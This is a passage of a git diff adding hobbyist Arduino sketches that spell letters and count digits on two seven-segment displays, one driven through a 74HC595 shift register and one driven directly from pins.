OFF1, ON1, OFF1}; +const boolean R[] = {OFF1, ON1, OFF1, ON1, OFF1, OFF1, ON1}; +const boolean S[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean T[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean U[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean V[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean W[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean X[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean Y[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean Z[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean EXCLA[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean BLANK[] = {OFF1, OFF1, OFF1, OFF1, OFF1, OFF1, OFF1, OFF1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 31; i++) + { + changeLED(0,ON); // -- H + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, H); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + setNumber(ledDigitalOne, BLANK); + delay(1000); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - L + + setNumber(ledDigitalOne, L); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - A + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, A); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- S + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, S); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - EXCLA + changeLED(7,ON); + + setNumber(ledDigitalOne, EXCLA); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + changeLED(7,OFF); + } + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino new file mode 100755 index 0000000..f138ac8 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_Self/_2x7_Segment_74HC_Self.ino @@ -0,0 +1,324 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 8; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Nine); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Eight); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Seven); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Six); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Five); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Four); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Three); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Two); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 1 + changeLED(6,ON); + + setNumber(ledDigitalOne, One); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Zero); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } + + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino new file mode 100755 index 0000000..9703f29 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_Write/_2x7_Segment_74HC_Write.ino @@ -0,0 +1,603 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7, 6}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON1 = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF1 = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean Two[] = {OFF1, ON1, ON1, ON1, OFF1, ON1, ON1}; +const boolean Three[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean Four[] = {ON1, OFF1, OFF1, ON1, ON1, OFF1, ON1}; +const boolean Five[] = {ON1, ON1, OFF1, ON1, ON1, ON1, OFF1}; +const boolean Six[] = {ON1, ON1, ON1, ON1, ON1, ON1, OFF1}; +const boolean Seven[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean Eight[] = {ON1, ON1, ON1, ON1, ON1, ON1, ON1}; +const boolean Nine[] = {ON1, ON1, OFF1, ON1, ON1, ON1, ON1}; +const boolean Zero[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; + +const boolean A[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean B[] = {ON1, ON1, ON1, OFF1, ON1, ON1, ON1}; +const boolean C[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean D[] = {ON1, ON1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean E[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean F[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean G[] = {ON1, ON1, OFF1, OFF1, ON1, ON1, ON1}; +const boolean H[] = {OFF1, ON1, ON1, OFF1, ON1, ON1, OFF1}; +const boolean I[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean J[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean K[] = {OFF1, ON1, ON1, ON1, OFF1, OFF1, ON1}; +const boolean L[] = {ON1, ON1, OFF1, OFF1, OFF1, OFF1, ON1}; +const boolean M[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean N[] = {OFF1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean O[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean P[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1}; +const boolean Q[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean R[] = {OFF1, ON1, OFF1, ON1, OFF1, OFF1, ON1}; +const boolean S[] = {ON1, OFF1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean T[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean U[] = {ON1, ON1, OFF1, OFF1, OFF1, ON1, ON1}; +const boolean V[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean W[] = {ON1, ON1, OFF1, ON1, OFF1, ON1, ON1}; +const boolean X[] = {OFF1, ON1, OFF1, OFF1, OFF1, ON1, OFF1}; +const boolean Y[] = {OFF1, OFF1, OFF1, ON1, OFF1, OFF1, OFF1}; +const boolean Z[] = {ON1, ON1, ON1, OFF1, OFF1, OFF1, ON1}; +const boolean EXCLA[] = {OFF1, ON1, OFF1, OFF1, OFF1, OFF1, OFF1, ON1}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + + + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 31; i++) + { + changeLED(0,ON); // - A + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, A); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - B + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, B); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - C + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, C); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - D + changeLED(2,ON); + changeLED(3,ON); + + setNumber(ledDigitalOne, D); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- E + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, E); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- F + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, F); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // -- G + changeLED(2,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, G); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- H + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, H); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - I + + setNumber(ledDigitalOne, I); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(5,ON); // - j + + setNumber(ledDigitalOne, J); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- K + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, K); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - L + + setNumber(ledDigitalOne, L); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - M + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, M); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - N + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, N); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 0 + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, O); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- P + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, P); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - Q + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + + setNumber(ledDigitalOne, Q); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- R + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, R); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- S + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, S); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(2,ON); // - T + changeLED(3,ON); + changeLED(4,ON); + + setNumber(ledDigitalOne, T); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - U + changeLED(5,ON); + + setNumber(ledDigitalOne, U); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - V + changeLED(5,ON); + + setNumber(ledDigitalOne, V); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - W + changeLED(5,ON); + + setNumber(ledDigitalOne, W); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - X + changeLED(5,ON); + + setNumber(ledDigitalOne, X); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // -- Y + changeLED(1,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Y); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(2,ON); // - Z + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + + setNumber(ledDigitalOne, Z); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - EXCLA + changeLED(7,ON); + + setNumber(ledDigitalOne, EXCLA); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + changeLED(7,OFF); + + } + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } 